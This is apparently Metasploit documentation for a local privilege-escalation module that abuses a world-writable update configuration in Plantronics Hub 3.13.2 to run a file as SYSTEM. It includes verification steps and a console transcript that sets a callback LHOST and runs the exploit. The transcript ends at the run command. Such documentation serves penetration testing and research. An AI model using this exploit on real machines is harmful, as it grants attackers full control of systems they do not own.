## Description

The Plantronics Hub client application for Windows makes use of an
automatic update service `SpokesUpdateService.exe` which automatically
executes a file specified in the `MajorUpgrade.config` configuration
file as SYSTEM. The configuration file is writable by all users by default.


## Vulnerable Application

This module has been tested successfully on [Plantronics Hub version 3.13.2](https://www.plantronics.com/content/dam/plantronics/software/PlantronicsHubInstaller-3.13.2.exe) on Windows 7 SP1 (x64).


## Verification Steps

1. Start `msfconsole`
2. Get a session
3. `use exploit/windows/local/plantronics_hub_spokesupdateservice_privesc`
4. `set SESSION <SESSION>`
5. `check`
6. `run`
7. You should get a new *SYSTEM* session


## Options

**SESSION**

Which session to use, which can be viewed with `sessions`

**WritableDir**

A writable directory file system path. (default: `%TEMP%`)


## Scenarios

### Windows 7 SP1 (x64)

```
msf5 > use exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set session 1
session => 1
msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set verbose true
verbose => true
msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > check
[*] The service is running, but could not be validated.
msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > run
